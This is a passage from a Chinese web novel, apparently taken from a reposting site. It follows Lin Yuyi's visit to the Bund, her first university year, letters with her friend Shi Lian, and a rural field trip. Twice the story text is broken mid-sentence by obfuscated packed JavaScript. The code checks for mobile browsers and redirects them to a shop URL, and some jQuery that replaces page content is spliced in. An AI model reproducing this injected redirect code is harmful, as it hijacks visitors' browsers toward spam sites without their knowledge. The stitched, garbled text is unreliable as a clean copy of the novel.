“你的伤……没问题吗?”林羽翼小声问出口,她第一天其实就想问了,但她不敢,到这时,她才终于鼓起勇气,小声嗫嗫道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166159|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“要不要报警?” “啊?”王心宜愣了好几秒,反应过来她在说什么,忽的笑了,“报什么警?你以为是你哥打的?” 林羽翼动了动唇:“……不是吗?” “不是。”王心宜脸上笑容淡去,“是我自己弄的。走吧,带你去看老洋房!” 她显然不准备再继续就着这个话题说下去。 林羽翼惊讶地睁大眼,她不明白怎么会有人把自己弄得一身伤,不痛吗?可是,当她跟在王心宜身边,无意间转头看见王心宜脸上麻木仓惶的表情时,又好像觉得,并不是那么意外。 王登高变成了一只披着人皮的野兽,王心宜似乎也好不到哪儿去。 他们两人,难怪会成为室友。 从小区坐地铁到老洋房街区,从地面到地下,再从地下回到地面,又是一番不一样的风景。地砖铺成的宽阔路面没有通车,只有挤挤攘攘的行人,路两边都是七八层高的老式建筑,和林羽翼在广都见到的老房子不一样,这里的老房子竟然是欧式的。 漂亮古雅的红砖墙,五光十色的窗玻璃,窗户有圆形的,也有方形的,有些窗台上还放着花儿。 “这里以前是租界?”林羽翼问。自己亲眼看到的,可比在课本上看到的震撼大。 “可能是吧。”王心宜不甚在意道。 街两边的建筑很好看,但街上没什么好逛的,人挤人,和春熙路一个样。然而穿过街巷,短短几步路之隔,又是另一番景象。 隔着老远,透过两栋老建筑间的缝隙,林羽翼看见一座高耸于天际的巨大铁塔伫立在那里,是东方明珠电视塔,她在书上看到过。 林羽翼从未看到过这么高的建筑,塔顶竟然已经被云雾淹没!她新奇劲儿十足地往前跑,想要近距离地看看那座塔,可是跑了百来米,跑过挡住视野的老建筑,那座塔依旧离得老远,仿若沙漠中的海市蜃楼。 “慢慢走吧,看着近,实际远着呢。”王心宜慢悠悠走在后边,“除了那座电视塔,江边还有得看呢,外滩,听说过吧?” 林羽翼乖乖停下脚步,王心宜已经没有再抽烟了,于是她走到她的身侧,好奇地问:“我们能上东方明珠塔看看吗?” “你想上去?”王心宜笑。 “想。”林羽翼诚实地点点头,大眼睛一闪一闪。 “能上去啊,还能在上面吃饭呢,旋转餐厅。”王心宜下一句话立马浇灭了林羽翼的热情,“四百元一个人,你请客?” “……”林羽翼沉默片刻,终于没忍住倒吸一口凉气,小声问,“他们怎么不去抢呢?” “哈,哈哈……!”王心宜大笑,“就算四百元,每天上塔还得排队呢,有钱人的数量多到你想不到。” “为什么我不是呢?”林羽翼仰头望天,发自内心感叹道。 “是啊,好问题,为什么我不是呢?”王心宜抱着手臂,自言自语般重复道。 从寂静无人的小巷,到人潮拥挤的外滩,只差一个拐弯。拐过街角,林羽翼抬头往前看,只觉得自己仿佛在一瞬之间穿越了。 马路对面是抬高的江边步行道,游人来来往往,拍照的小贩不断大声吆喝着,扛着枪炮般的摄像机,无比灵活地挤到旅客面前叽里咕噜地推销。 林羽翼的目光迅速掠过人群,望向遥远的江对岸,从她的角度,看不见黄浦江,却能看见江对面那些林立的高楼。 不止在东方明珠塔,就连那些高楼都隐没在云层中,像山一样高。 高楼上挂着各式各样“银行”、“金融”的字样。 绿灯一亮,林羽翼便迫不及待地冲过马路,哒哒哒跑上人行步道的台阶,迎着拂面江风,穿过人群,直抵过道最前面的栅栏。 她撑着栅栏,仰头往前看,江风将她的短发吹得乱七八糟。 她看江,宽阔江面上,一辆辆游轮缓缓驶过。她看江对面的楼,有些楼还在修建,顶端被云雾挡得彻底。她看东方明珠塔,抬头看,看不到顶端。 林羽翼闭眼,吹着江风,听着人群嘈杂的声音,明明这里是繁华无比的城市,可她却觉得自己身在旷野。 这是一个真正的新世界,是林羽翼十八年来从来没有见过、听过、接触过的新世界。 明明身在这个世界,离对面的大楼只有一江之隔,乘坐一块钱的渡轮便可以过江,林羽翼却知道,她不属于这个世界。 她属于哪儿呢? 城中村破败的棚屋,广都狭窄阴暗的小街道,新村里那一间摇摇欲坠的老旧堂屋。 “到了晚上有灯光可以看,更漂亮呢。”王心宜缓步走道她身后,“先随便逛逛吧,别光顾着看对面,看看后面,那一排洋房也挺好看。” “嗯。”林羽翼睁眼,眼眶竟然有些红。 她揉揉眼睛,和王心宜并排走在步道上。 步道上人很多,但或许是因为这条步道足够长、也足够宽的缘故,竟然一点儿也不挤,林羽翼可以随着自己的性子自由漫步,走快也好,走慢也好,都不会有人碍着她。 “小妹妹,你不会在想,如果有一天能住在这里就好了吧?”王心宜看着林羽翼蹦蹦跳跳的激动模样,不由得打趣地问道。 谁知道,林羽翼认真地摇摇头:“不敢想。” “怎么就不敢想了?小朋友要有梦想。”王心宜笑嘻嘻地说,“你看对面那房子,没错,就是在修建的那几栋,那可不是办公楼,是正儿八经的小区呢,在沪城卖得可火了,你猜猜,它卖多少钱?” 林羽翼停下脚步,看着江对面,认真思考。她有和师涟一起关注过广都的房价,普通小区大概两千元一平米,那么沪城这种地方,大概翻个五倍吧? “一万?”林羽翼问。 “哈……!”女人弯腰大笑,“一万?一万连你落脚的地方都买不到!听说要十万一平呢!” 林羽翼怔住,脸上探究地笑意褪去,变得有些茫然,但很快,她又轻轻笑着摇摇头,说:“所以我说,不敢想嘛。” 38.第24章 不敢想,就真的不想了吗? 大学开学已经两个月了,林羽翼依旧时不时回想起去外滩散步的那一天。 那天她和王心宜在外滩呆到很晚,她们吃不起那里的餐馆,人均三四百的消费简直是天价,便随意买了两个面包,坐在江边的长椅上看风景。 阳光明媚的下午,黄浦江面泛着鱼鳞般的金光;傍晚,柔软晚霞覆盖天际,粉色与深蓝色在天空中交织出梦一样的景色;夜色降临,江岸两边建筑上的彩灯亮起,江上行驶的游轮也亮起灯,整个江面如一卷缓缓流淌的光影水墨画。 最后,一直到灯光熄灭,人群散开,她们才起身离开。 这样的一天,对林羽翼震撼很大。 她无比明确地知道,江两岸的那些高楼是她永远摸不着碰不到的东西,可是,真的这样吗?真是……这样吗? 或许她自己都没察觉到,她的内心深处,悄无声息地燃起一把熊熊烈火,向着她触摸不到的旷野迅速蔓延。 就算碰不到,她也想要伸手去试一试。 …… 林羽翼就这么奇妙地开了窍。 大学前,所有人都说“上了大学就轻松了”,可林羽翼的大学,却不知道比高中辛苦多少倍。 每天的课时倒是不多,一天最多也就四节大课,相当于高中八节课,最少的时候只有一节大课。 林羽翼的专业是动物医学,学校是农业学校,在川城西南边的深山旁,校园很大,一半是教学区域,另一半是山,漫山遍野的试验田、果树林,还有实验动物养殖场,学校里农业氛围很足,提到未来的工作,学生们都开玩笑地说自己是“种地的”、“养猪的”,林羽翼和同学也是这么开玩笑的,但事实上,林羽翼大一学的课程,和“养猪”可谓是毫不相关。 高等数学、无机化学、分析化学、普通生物,还有化学、生物实验课,都是些高中基础知识的深化和巩固。 林羽翼发现,大学和高中学习最大的不同,其实是在课堂上。在高中,学霸有上课有自习的权力。大学当然也可以,但你不能坐在前排光明正大地自习,会让老师觉得不尊重他,你只能在后排悄悄地自习。所以林羽翼每次上课都坐后排,可是很奇怪的是,无论她在测验上成绩多好,老师都只会认为坐在前排的是好学生,受到夸奖的只会使那些坐在前排的学生。 后来林羽翼想明白了,高中时,不管是学生还是老师,都只有一个目标,那就是高考,所有人都在向着这个目标奋力前行。 大学却不一样,对大学生而言,成功毕业只是最基础的目标,在完成这个目标的基础上,他们还可以做许多事,有许许多多不同的选择,参加学生会、社团活动,跟随师兄师姐或是老师进入实验室学习,努力考研考博…… 对大学老师而言,上课教书只是他们工作的一部分,教书育人固然重要,可实验室做科研、自身发展同样重要,他们不会像高中老师那样把所有注意力都集中在学生身上,他们也没有那么在意应试成绩。于是,能被他们第一眼看到的、记住的学生,当然是次次都坐第一排的那一批人。 林羽翼不禁感叹,大学生活看似比高中自由,看似可以选择的道路有那么那么多条,可实则呢?从另一方面看,这何尝不是失去了一部分自由?还真应了那句话,大学就是一个小社会,学习是很重要的,可是其他方方面面——比如人情世故也同样重要。 课后,林羽翼大半时间都泡在图书馆里,抱着厚厚的书本,挑个没人的角落坐着,专心复习预习,巩固课本上的知识,顺便背一背英语。 虽然大学课表上没有英语课,可她要考四六级的呀!只要考上五百分,就有奖学金拿! 剩下大半的时间,林羽翼则在做兼职,打零工。 她的兼职范围非常广,学校提供的勤工俭学岗位,她做;校内小饭馆服务员,她做;校门口发传单的推销大使,她也做。她有努力和同学搞好关系,帮忙去“代课”,一节课能收五元钱,还能巩固课堂知识,何乐而不为呢? 大学的助学金比高中要多一些,加上打工零零散散赚到的钱,林羽翼一个月能有一千两百元左右的收入。 在这个大学生活费人均七八百的时代,林羽翼的收入本该过得很滋润。 但是并没有。 户口本迁到学校这边后,王登高真铁了心要和她断绝关系,竟然寄了一封断绝信给她。他字写得歪七八扭,可信里的内容还真像样。林羽翼直接把那封信撕了,本来也没有法律效应的东西,放在眼前恶心她吗? 王登高不再给她转生活费,反倒是她,每个月会打一笔钱过去。但不是打给王登高,而是王心宜。 离开沪城后,林羽翼一直和王心宜保持着联系,通过棚户楼下,以及她学校里的公用电话通话。 开学的第一个月,林羽翼便联系上王心宜,给她提出了这个想法。 “转钱?给我?存着帮你哥还债?小妹妹,你是不是疯了!”电话那头,响起王心宜的惊呼声,“你直接转给你哥呗,转我干嘛?你不怕我把钱贪了吗?” “王登高他不会收,他会把钱转回给我,一来一回,浪费手续费。”林羽翼低着头,看着自己撑在桌上的手,她的手指在桌面敲了敲,等了两秒,才犹豫地回答王心宜第二个问题,“心宜姐,我相信你不会,你是好人。” 她这句话,换来的是王心宜一阵无奈的笑。 “行吧,虽然我穷,但我的确不是那种贪钱的人。可是小妹妹啊,你知道你哥欠了多少钱吗?你一个月能替他还多少?三百?五百?一百年都还不够的!” 林羽翼手指倏地握紧了:“还不够,就不还了吗?” 林羽翼心底有个大概的数额,那些找上她的要债的,差不多二十万元,还有些她不知道的,估摸着也就几万元,最多十来二十万。只要王登高不再去借钱,只要那钱不再滚雪球,林羽翼觉得,自己努力挣个十年八载的,还是能还清。 “你哥还真就想不还了。”王心宜摆摆手,“不然他干嘛硬要和你断绝关系?你们户口本既然已经分割了,小妹妹,你好好过你自己的日子,大学生呢,前途无量呢,别被他这个废物拖累——” “我哥他不是——!”林羽翼的吼声骤然爆发,打断王心宜的声音。 电话两头都愣住了。 “对不起心宜姐,我、我不是想凶你……我刚刚没控制好情绪。”林羽翼用力抹一把眼眶边的泪水。 “心宜姐,我不是没有想过不管他,不是没有想过就这么和他一刀两断,我想过,我想过很多次,可是……” 可是。 一旦心里冒出一刀两断的念头,林羽翼脑海里,就会涌现出小时候,属于她和哥哥的一幕幕记忆。 小学她生过一次病,她对那时的记忆已经很模糊了,只记得,哥哥白天在医院附近做工,累得走路都摇摇晃晃,却整夜守在她身边。那时她怕黑,怕医院的夜晚,可是她一睁眼,就能看见哥哥温柔的目光。 哥哥一动不动地看着她,目光里除了温柔到极致的情绪,还藏着难以察觉的恐惧,仿佛是害怕她悄无声息地睡去了,便再也不会醒来似的恐惧。于是小小的林羽翼知道了,天不怕地不怕的哥哥,会害怕她生病,她对哥哥来说,一定是很重要、很重要的存在。 她要努力养好身体,不要再生病,不要再让哥哥害怕了。 初中毕业,自己不肯读高中的时候,哥哥愤怒得涨红了脸,话都被气得说不清楚,拿起扫帚想要打她却又落不下手,最后硬是拉着她去了师涟家,见了老师。 那会儿她一点儿也不懂事,她不知道为什么要读书,比起读书,她更想出去打工赚钱。如果不是哥哥,说不定她现在正在哪个厂里呢。是因为哥哥的愤怒与坚持,才有了现在的她。 这一幕一幕的记忆,是她无法抛舍的,属于她和哥哥的纽带。 断绝关系? 怎么可能断得了。 就像那些她以为早已丢失在岁月长河里的记忆,一旦拾起,依旧清晰得像是发生在昨日。 最终,王心宜答应了林羽翼的请求:“行吧,不过这钱就算我拿给你哥,他也不会收,收了也不会拿去还钱。如果你觉得只有把钱给我,你心里才会好受些,那我帮你存着。以后他要是哪天想通了,我把钱给他,要是没想通,就还给你。” 林羽翼每月的收入里,一半转到王心宜的银行卡里,剩下一半又要分成两部分,一部分存下来还助学贷款,剩下的,才是她的生活费。 于是,林羽翼的大学生活,依旧过得很紧巴巴。 林羽翼从学校跳蚤市场里买了个煮饭的小锅,每天午饭和晚饭,都偷偷在宿舍里煮东西吃。刚开始只有她一个人,后来舍友们也加入了进来。 一个室友带米,一个室友带火腿肠,一个室友买了调味料,一个室友从农学学姐那儿嘴甜讨来在试验田边缘摘青菜的资格,林羽翼则负责做饭,一锅色香味俱全的青菜火腿粥便出锅了。 早餐呢?依旧是用那口锅,蒸馒头呢! 顺带一说林羽翼的几位室友,她住的是六人寝,好巧不巧,一个寝室六人都是土生土长的蜀都人。不过和林羽翼不同的是,其余五人都是蜀都城里人,只有她,生长在蜀南的小村庄里。 第一次和室友介绍自己的家乡时,林羽翼先是说起“新村”,室友们茫然摇头,她怔了怔,改口说“广都”,室友们依旧一脸茫然,最后林羽翼笑了笑,说:“是城南边的乡咔咔。” 室友们终于露出恍然大悟的表情。 千禧年起,蜀都便流传着“东贫西贵,南富北乱”这么一句俗语,“南富”指的是城中心往南,可不是城郊往南,谁都知道,城郊往南是鸟不拉屎的田野乡村。 林羽翼其实和室友们不太熟,除了一起吃早中午三餐时能有点交集,其他时候,都是在各忙各的。 她要忙着去图书馆,去打工,室友呢?有人报了小语种培训班,有人参加了社团,当上了学生干部,有人热衷于参加各种舞会联谊,还有人报了第二专业,每个人都有每个人的忙。 林羽翼和室友们算不上熟悉,但关系还不错,夜晚图书馆闭馆后,林羽翼回到宿舍,经常能看见自己桌上堆着小零食。 这一天,林羽翼抱着书本从夜色中闯入寝室楼里,回到寝室,看见桌上不仅有一袋花生米,还放着一封信。 “老大从家里带的花生!可好吃了。”不等林羽翼询问,她上铺的女孩便垂下脑袋来,笑着说,“林羽翼,我在收发室拿信的时候看到了你的信,顺手拿回来了!” “谢啦。”林羽翼低头看向桌子,在深色的牛皮纸信封上,她看到了一行再熟悉无比的字迹,眷秀整洁,笔锋处却又透着难以掩藏的锋芒。 是师涟的字。 林羽翼在桌子面前坐下,拿起信纸,手指抚过那一行字迹,迅速撕开信封,将信纸从里面抖落出来。林羽翼展开信纸,和她想的一样,是印着川城大学字样的实验用纸。 [林羽翼:] [见信如晤。] [这些天过得好吗?上次来信里,你说你应聘了农学院的实验助手,怎么样?工作累吗?有趣吗?] 大学开学后,林羽翼和师涟的关系并没有像她想象中那般淡去,她没有手机,也不愿意花多余的钱去打公共电话和别人闲聊,于是,不知怎么回事的,她和师涟写起了信。 林羽翼拿着信纸,眉眼间情绪越来越柔软,她立马在抽屉里翻出印着“川城农大”的实验纸,动笔写道: [师涟!晚上好!] [我这段时间过得还不错啦,除了有些累……唔,不对,应该说是充实才对。我应聘实验助手前,还以为能跟着师兄师姐在实验室里玩玩呢,结果后来才发现,原来就是跟着他们在田里打杂!帮他们晾晒种子,数种子数量,然后认真记录。总的来说,还是挺有趣的!] 林羽翼写完,继续往下看。 师涟:[我这些日子过得很充实,周一到周五和你一样,上课,泡图书馆,说到学习,我前几天在校门口买了两本无机化学习题大全,一本已经寄给了你,你收到了吗?这封信本来应该放在试题集里一起寄给你,可我那会儿太忙,白天学习,晚上学生会还有联谊活动,实在没有时间写信,抱歉,林羽翼。] 医学生的大一课程竟然和林羽翼这个兽医学生的大差不差,都林羽翼和师涟的通信里,时不时就会讨论起学到的新知识,还会分享各自的习题册、参考书。 林羽翼遇到不懂的无机化学算术题,也会写在信里,让师涟帮她解答。尽管等到回信的时候,她往往已经自己把题解了出来,但她依旧喜欢请教师涟,这是她们的共同语言。 林羽翼:[书早收到啦,我说是哪个天杀的给我寄习题,原来是你啊!得,那就不奇怪了。知道师主席忙,没时间写信什么的很正常,我就不计较啦。] 大学后,师涟除了加入了摄影社团,还加入院学生会,准备竞选学生干部呢。林羽翼觉得,以师涟的实力,竞选上主席是迟早的事儿。 师涟:[休息日的生活同样很充实,每周末,摄影部都要举行外出采风的活动,在蜀都市区里到处闲逛,亦或是到城郊看山看水。可惜,我还没有攒够钱买摄像机,只能跟在别人身后打打杂,过过眼瘾。] 林羽翼:[加油攒钱啊师涟!等你有了自己的摄像机,一定要给我寄照片!] 写完这句,看到师涟的下一句话,林羽翼眼睛倏地弯成月牙。 师涟:[等我有了相机,第一时间给你寄照片。] 再往下看,便是一些零散的闲话,然而看到这封信的末尾,林羽翼诧异地挑了挑眉。师涟竟然在信里说,她有些不想学医,她在考虑要不要趁着学期末转专业的机会,转去别的专业学习。 不想学医? 医学可是川大收分最高的专业,医生更是无数人心中梦寐以求的职业——包括林羽翼,如果林羽翼考上了川大医学院,她做梦都能笑醒呢。 师涟却想转去别的专业?怎么看都很亏吧。 林羽翼紧紧皱着眉头,盯着信纸看了许久,才慢慢写道: [为什么突然不想学医呢?是因为有别的感兴趣的专业吗?我觉得……好不容易考进了省内,不,全西南地区最好的医学院,就这么转去别的院,会不会有些吃亏?唔,当然,这只是我的看法,无论师涟你怎么选择,我都支持你。没关系,现在离期末还有一个多月,你可以慢慢考虑。] …… 寒假,同学老师纷纷离开学校回家过年,林羽翼却还守在这儿。 她找了个清闲的勤工俭学兼职,每天一个人呆在空旷安静的水生物实验室里,帮离校的师兄师姐看着水族箱,按时通电、换水,顺带给箱子里的鱼儿喂喂粮。 随着新年的接近,图书馆闭馆不开,林羽翼干脆把所有书本搬到实验室,没日没夜地在实验长桌上看书。 大学的课本,看着只有那么几本,可真要深挖着学下去,才发现知识点一个接一个紧密地连在一起,仿佛永远学不到尽头。 林羽翼有些时候学累了,就会抬头放空一小会儿。 实验室窗外的景色很好,绿木葱葱,再往远看就是川西南的山野,运气好时,说不定可以看见日照金山。 可林羽翼不喜欢往窗外看,山野的景色她从小看到大,早就看腻了。她更喜欢看水族箱里游来游去的鱼。 水族箱不大,长度还不到一张实验桌,里面的鱼儿没游多久就得转身回到原点,可它们依旧不停地游啊游,在青蓝色的水中吐出一串串珍珠般的气泡。 林羽翼看着逼仄狭窄的鱼缸,总是会想到张潇扬曾经写给她的那句话: 海阔凭鱼跃,天高任鸟飞。 真奇怪啊,怎么会有人看见鱼缸,就想到大海呢?明明鱼缸里的这些鱼儿,永无尽头地游啊游,游一辈子,也游不到海里去。 …… 转眼到了第二年夏天,大学后的第一个暑假。 林羽翼原本打算在校内兼职,可她申请的“三下乡”名额竟然通过了,期末考一结束,她就立马跟着学生会成员们坐上火车,前去桂城养殖场进行三下乡实践。 七天实践时间,第一天前往养殖公司报道,参加工资的迎新会。接下来跟着工作人员跋山涉水,去山里的养殖户家里参观、学习,毕竟这群大一学生什么都不懂,打杂都帮不上忙,只能拿着手抄本乖乖跟在养殖户身后,认真记录、学习。 参观养禽户时,林羽翼不可避免地想到了王登高。 桂城的养禽户标准很高,每一圈鸡鸭禽类的喂食量、饮水量、水里面加什么药、多少配比,都有严格要求,进出养殖场前,还得先用高锰酸钾水洗洗鞋子,保证没有病毒。 以前王登高的鸭场呢?至少在林羽翼的记忆中,他工作的鸭场管理远没有这么严格,后来他自己开鸭场,估计大差不差。如果当初,他的鸭场也像桂城的鸭场一样严格管理,是不是,就不会发生那场惨剧? 如果再早两年就好了。 如果自己早两年上大学,就能够帮到他了。 可如果只是如果。 想到王登高,林羽翼心中更多是恨铁不成钢的恨意,她又已经一年没和王登高通上话。她每个月都会和王心宜打电话絮絮叨叨,可王登高从来不肯出现在电话那一头。 林羽翼甚至都有想过,王心宜是不是已经和他哥分开了?可她不敢多想,她一有这样的想法,就立马遏制住。 毕竟,她和王心宜的联系,是她和哥哥之间,最后一根细弱的纽带了。 实践的最后两天,养殖公司带着学生们在桂城游山玩水,坐竹筏游漓江,还去看了二十元纸币背面的山水,逛了桂城城区,最后专门带着他们去菜市场逛一圈。 七天实践一晃而过,时间不长,给林羽翼留下的印象却十分深刻。 首先是桂城的山水,第一天抵达桂城,还没下火车呢,往车厢外面看,便是如出海蛟龙般旋在山腰半空的嶙峋怪石,张牙舞爪地遮挡住远处天边洒来的阳光。透过石头,又能看到天空上厚厚的如棉花糖般雪白的云层。 林羽翼看着桂城的云层,一次次地想,在蜀都,大概一辈子也看不到这么厚,这么白,这么美的云层吧。 紧接着是抵达桂城,前去养殖公司报道后参加的迎新会。公司的迎新会不是为他们这群做实践的大学生准备的,而是为了新一批入职的员工。 什么样的人会到养殖场工作呢?林羽翼以前一直没个概念,就算有,也是以王登高作为参考样本。可是入职这家养殖公司的新员工,竟然都是从211、985大学毕业的高材生,甚至还有一位中农大的海归博士! 海归博士诶,顶尖大学诶,不应该去京城沪城那样的地方工作吗?为什么要从京城,来到桂城这么偏远的山地? 林羽翼刚开始不了解,可随着后来几天的实践体验,跟着他们进深山、见农户、下猪场,出了山,又往规模化的种猪养殖场去,参观高科技粪肥回收装置,参观种猪场实验室…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179456|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >跟着他们奔波、看着他们劳动、听他们神采奕奕地讲着养殖工作,讲着与农户合作的一点一滴…… 渐渐地,林羽翼好像有那么一点明白了。 或许她没有生活在鱼缸里,她本来就生在大海,她可以选择游向沪城那样的地方,也可以选择游向桂城深山。这两个地方看似隔得很远,遥不可及,但其实……只看她怎么选。 只看她,想要往哪里游。 林羽翼承认,自己是个俗不可耐的俗人,实践结束后,她并没有像别的实践同学一样,心潮澎湃地坚定目标想要进养殖场工作,她反而更向往沪城那样的海域。 实践的最后一个小插曲,是在菜市场里。 路过禽类市场时,工作人员带他们参观屠户的摊位,那位魁梧屠户拿起磨得光铮铮的刀,一刀下去,鸡血四溅,在场都是些兽医学生,自然不会被这一幕吓到,可人群中竟然发出一声惊呼。 “啊——!”林羽翼身旁的男生条件反射地往她身后躲,双手死死抓住她的手臂。 林羽翼意外地回头,对上了一双惊惶的深棕色大眼睛,是漂亮的桃花眸,眸子上方浓密的睫毛正因为恐惧轻轻颤着。 更让林羽翼意外的是,这是一双男人的眼眸。 被屠户杀鸡吓得瑟瑟发抖的,不是什么小女孩,是一个大男人。林羽翼认识他,是隔壁班的岳程成,学生会干部,这次三下乡实践的组长之一。 “你……害怕?”林羽翼不太喜欢别人手指重重抓住自己胳膊的感觉,似笑非笑地问。 “不、不好意思,同学……”岳程成惊惶好几秒,终于回过神来,歉疚地放开林羽翼的手臂,因为力气太大,他竟然在她衣服上落下了两个汗手印,“我、我之后赔你一件新衣服。” “没事儿。”林羽翼拍拍胳膊,后退一步,为了缓解岳程成的尴尬,她随口问,“你解剖课怎么学的?课堂上可比这儿恐怖多了吧。” “我……逃课了。”岳程成站直身子,挠挠头发,脸上露出一个羞敛的笑容,“我从小就怕见血,但我爸妈非要我学兽医,说是容易找工作。” “医生才容易找工作吧?”林羽翼挑眉。 “我这不是没考上川城大学的医学院吗?”男孩笑笑,毫不介意地摆摆手,说,“没关系,兽医也是医,说不定以后有机会考研去医学院呢?” “行吧。”林羽翼移开目光,继续看向屠户那儿,“你放心,逃课的事儿我不会告诉老师,不过我觉得……你既然这么害怕,还是别太勉强自己吧,我们才大一,以后做实验的时候,血腥的场面会越来越多。” “你是一班的林羽翼吧?我在二班,叫岳程成,你知道我吗?”岳程成转开话题,笑得阳光。 “嗯,知道。”林羽翼随口答。 林羽翼并没有交朋友的打算,可岳程成却热情得过分:“刚才真是多谢你挡在我前面了,不然我不知道得被吓成什么样,诶,林羽翼,你就不问我怎么会认识你吗?” [白羽肉鸡生长周期短,需要依赖激素……] 林羽翼拿起手抄本,一边记录前面养殖场工作人员话,一边随口敷衍:“怎么认识的?” “你的绩点在我们专业排第二嘛!大学霸,又是美女,我怎么会不知道你?”岳程成在身后盯着林羽翼的笔记本,笑嘻嘻说,“看吧,大学霸,我可做不到像你这么认真努力,菜市场闲逛还做笔记呢。” 第二名!真是哪壶不开提哪壶,第一学期末,林羽翼的绩点和年级另一个女生并列第一,可是第二学期末,她就以0.5分的差距落到第二名了,嗐,这学期她兼职太忙了,都没太多时间去图书馆!早知道辞一个兼职,多接点儿代课,这样就又能挣到钱,又有时间学习。 “你成绩好像也不差。”林羽翼隐约记得,她在成绩表前排看到过岳程成这个名字。 “专业第六,哈哈,名次是挺高,可绩点比你们这些真正的学霸差远了。”岳程成笑着说。 “……也挺不错了。” 总之,从那时开始,岳程成便成了林羽翼的小跟班似的,时时要跟在她身后,笑嘻嘻地和她闲聊、打趣,第一时间帮她拎包拿行李——往往林羽翼还没反应过来,书包就已经到了他手里,被他以迅雷不及掩耳的速度放到行李架上,林羽翼想抢回来都来不及。 想着反正实践马上就要结束,林羽翼也就没管他。 可让她没想到的是,从桂城回蜀都的火车上,她竟然和他一个车厢,只相差两个小隔间。 岳程成在车厢里发现林羽翼的身影后,立马到她的隔间里,乖乖巧巧地对她上铺的阿姨说: “姐姐,我在隔壁上铺,我们能换个位置吗?嗯,我和你下铺的妹妹是同学,对的,我们都是川城农大的,来桂城这里实习。诶姐姐你不用麻烦,我帮你搬行李!” 岳程成长得好看,笑起来阳光大方,深棕色眼里好似浸着光,他这样乖巧的男孩子,堪称妇女杀手,三两句便把上铺的阿姨说得心花怒放,和他换了铺位。 林羽翼没有主动交朋友的想法,可她并不抗拒交朋友,接近两天两夜的车程,有一个说话的人也挺好。 而且,岳程成话真的很多。 岳程成:“你是哪儿人?我是蜀都的,就在武侯南边。” 林羽翼:“我也在城南,广都,新村,听说过吗?” 岳程成摇头。 林羽翼:“从你们那儿再往南十公里的乡咔咔就是了。” 岳程成皱起眉头思考片刻:“乡下?” “嗯哼。” “可我看你不像乡下人。” “怎么不像了?” “你……”岳程成挠挠头,似乎意识到自己的话语有些冒犯,不知道如何说下去。 林羽翼笑:“你觉得乡下人是什么样的?畏畏缩缩?土里土气?” 她并没有觉得被冒犯,脸上的笑也并非嗤笑,反而笑得柔软。因为她忽然想起了高一时的自己,那时的她,对山里来的张通蜀,还有同样来自山里、却有着截然不同气质的申树,有着一模一样的疑问。 那时林羽翼不明白,来自山里的申树为什么生得那么落落大方,和张通蜀完全不一样。 现在看来,原来城里也好,乡下也好,山里也好,都是一样的,都是同一片海域。只是看谁能游得更远而已。 “不是、不是。”岳程成慌乱摆手,脸颊微红,“我、我不是这个意思,我就是觉得你很厉害,又自信、又大方,成绩又那么好。” 随即,他看见林羽翼脸上柔软的笑,脸颊更红了,是另一种红。 “哈?是吗?”林羽翼笑着摇摇头,“那么,谢谢你的夸奖了。” 岳程成揉揉通红的脸颊,连珠炮似的问:“你下了火车离家远吗?回家方便吗?我爸开了车来接我,要不要顺便送送你?” “南站离我家不太远。”林羽翼漫不经心地挨个回答,“不过我不回家。” “诶?不回家?那你去哪儿?”不等她说完,岳程成便探着脑袋问。 “去朋友家。”林羽翼抬头,目光从火车铺盖上移到窗口,她望着远方不断后退的青绿色风景,眸光愈加温暖柔和,“她会来火车站接我。” 她今年本来不想回广都,不想回新村,可三下乡实践结束后的火车票,买在了离广都、离新村非常近的南站。 出发去参加实践前,林羽翼和师涟打过一通电话,无意间提起了这事儿,师涟立马邀请她去她家住住。 林羽翼下意识想拒绝,可师涟紧接着说,自己有合适的兼职要介绍给她,林羽翼一下就犹豫了,她正烦恼回家后找个什么兼职做呢!思考片刻,林羽翼最终答应了师涟的邀约。 说起来,她和师涟也有一年没见了,不知道现在的师涟有没有什么变化,变成熟了?变得更漂亮了?莫名的,林羽翼心里有点紧张。 “诶……男朋友吗?”岳程成眨巴着大眼睛,不经意般问。 “女……”林羽翼回过神来,“女性朋友。” “哦!是女生啊,高中同学?”岳程成不问到底不罢休似的。 “嗯,高中同学。”林羽翼点头。 “那你们感情可真好!毕业了都在联系。” “是呢,她是我最好的朋友。”说起师涟,林羽翼的话不自觉多了一些,“我们经常写信联系。” “哇哦,她在哪个学校读大学?学的什么专业?” “川城大学,医学院。” “啊,又是大学霸!果然学霸的朋友都是学霸!” 林羽翼没有再接话,因为她忽然想起来,师涟最终还是转了专业,转去了和医学八辈子沾不到边儿的新闻学。 林羽翼在信中问过师涟,究竟为什么转专业,又为什么会选择新闻系,可师涟没有正面回答她。 这让林羽翼感觉心底空落落的。 她其实并不想确切地知道“为什么”,她只是想从师涟嘴里听到答案,而师涟的避而不答,让她茫然地觉得,她们之间……隔了好远好远。 她不再了解她,她也不再事无巨细地回答她。 可一年来从不间断的通信,信里那些数不清的闲聊、亦或是倾诉,又都告诉着林羽翼,她和师涟,一点儿也不远。 她不明白。 不明白,所以紧张。 列车一点点靠近蜀都,离目的地越近,林羽翼的心脏便蹦得越快,快得像是要冲出胸膛,直直冲到师涟面前,钻进她的胸腔里,面对面看看她的那一颗心里,究竟都写着些什么。 39.第25章 午后。 